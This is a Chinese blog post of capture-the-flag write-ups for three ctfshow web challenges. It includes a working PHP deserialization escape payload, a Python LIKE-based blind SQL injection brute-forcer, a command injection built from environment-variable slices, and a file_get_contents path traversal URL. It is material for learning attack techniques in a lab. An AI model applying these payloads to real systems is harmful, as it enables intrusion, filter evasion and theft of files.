ctfshow web

ctfshow 月饼杯

月饼杯

web1_此夜圆

index.php

<?php
error_reporting(0);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yu22x')
            {
                include('flag.php');
                echo $flag; 
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符逃逸
https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E9%80%83%E9%80%B8

正常序列化:

$uname='FirebaskyFirebasky';
$password='1';
$x=new a($uname,$password);
echo serialize($x);

得到

O:1:"a":2:{s:5:"uname";s:18:"FirebaskyFirebasky";s:8:"password";s:1:"1";}

filter()函数会把其中的Firebasky替换为Firebaskyup,而字符串对应的长度值不变,即

O:1:"a":2:{s:5:"uname";s:18:"FirebaskyupFirebaskyup";s:8:"password";s:1:"1";}

在unserialize()反序列化时,字符长度与原始值不一致会反序列化失败,尝试把多出来的部分构造为需要的password值,既保证反序列化正常执行,又能将原始无用的后半部分“挤出去”。

构造";s:8:"password";s:5:"yu22x";}(长度:30)

$uname='FirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
$password='1';
$x=new a($uname,$password);
echo serialize($x);

filter()函数替换后得到

O:1:"a":2:{s:5:"uname";s:48:"FirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}

由于FirebaskyupFirebaskyup不足48长度,反序列化失败,可以增加构造的Firebasky,假设要构造 x个Firebasky,则有 9x+30=(9+2)x,解得 x=15

paylaod:

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web3_莫负婵娟

F12查看源码
alt text

用户名是yu22x。查询语句为like。这里要用到like盲注了。(相关知识链接REGEXP注入与LIKE注入学习笔记 - 先知社区https://xz.aliyun.com/t/8003?time__1311=n4%2BxuDgDBAeDqGKqx0vwbDyBWtHtoq0KeDOeD&alichlgref=https%3A%2F%2Flink.csdn.net%2F%3Ftarget%3Dhttps%253A%252F%252Fxz.aliyun.com%252Ft%252F8003%2523toc-6 )新知识点,现学现卖。在like匹配中,百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。那我们就测试一下%和_是否被过滤掉了。_是没有过滤的

密码长度为32位。 接下来就是写脚本爆出密码了,密码错误会出现wrong关键词,如果响应的信息没有wrong,则说明密码正确。试着写一下(当然还是要借助下大牛的脚本)

import requests
#post传参
url = "http://be8ddab7-a29a-43d8-bc2a-165ae88dcd7f.challenge.ctf.show/login.php"
a = "0123456789abcdefghijklmnABCDEFGHIJKLMN"
flag = ""
for i in range(32):
    for j in a:
        password = flag+j+'_'*(31-i)
        data = {
            'username': 'yu22x',
            'password': password
        }
        res = requests.post(url=url,data=data).text
        if "wrong" not in res:
            flag += j
            print(flag)
            break

逻辑很简单,但是自己写完之后发现一直跑不出来,我写的是range(1,32),那就成了从一遍历到31.但是上面写的flag开始为空,导致password的长度开始是31位,所以跑不出来。纠正之后跑出来的密码为67815b0c009ee970fe4014abaa3Fa6A0登录进去后是一个输入ip的。给我的第一印象就是命令执行,不过这条路很快就堵死了。题目中给有提示
alt text

bp抓包 爆破,发现小写字母全被过滤了
但是可以使用:大写字母,数字,{ },空格,$,~

又是一脸懵,索性在网上查。这种骚姿势第一次见。在kali上输出环境变量。
alt text

我们可以截取环境变量的字符来达到命令执行的目的。比如这样可以构造ls了
alt text

输入127.0.0.1;${PATH:5:1}${PATH:2:1}`找到flag.php。以此类推,来查看flag文件。本想用cat的,发现环境变量里没有t字符。这里可以用nl命令。使用nl命令可以使用?通配符。输入payload `127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???查看源代码得出flag。

web2_故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}

审计代码,很好明白,我们要突破三层限制才能拿到flag。先从第一层说起。

if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

在php语言运算中。小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是说,小数点位数在这个范围内的,就会舍弃掉小数部分。
也就意味着可以满足是数字,$a!=0,和$a**2==0这三个限制。那么长度小于7的限制可以用科学计数法来绕过了。所以这一层的payload是

?a=1e-200

再看第二层

$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
代码中的echo也给了提示md5碰撞,但这远远不够,所以题目也给了提示

alt text

很明了了,需要我们来爆破出变量b和变量c的值。编写php代码

<?php
for($i=0;$i<9999;$i++){
    $b = '0e'.$i.'024452';
    if($b == hash("md2",$b)){
        echo $b;
        break;
    }
}
echo "\n";
for($j=0;$j<9999;$j++){
    $c = '0e'.$j.'48399';
    if($c == hash("md2",hash("md2",$c))){
        echo $c;
        break;
    }
}
?>

爆出$b=0e652024452和$c=0e603448399。所以这一层的payload为

b=0e652024452&c=0e603448399

最后一层。这时候题目中就给出提示flag在/fl0g.txt下。

if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));

FILTER_VALIDATE_URL是php过滤器,把变量当作url处理,会删除不属于url里字符范围内的所有字符。我们需要满足传入的内容里有ctfshow.com。但是仅仅满足这个条件是输出不了flag。这里有一个file_get_contents函数的一个小知识点

当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件

那我们就构造一个不认识的协议头,payload为

url=p://ctfshow.com/../../../../../fl0g.txt

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注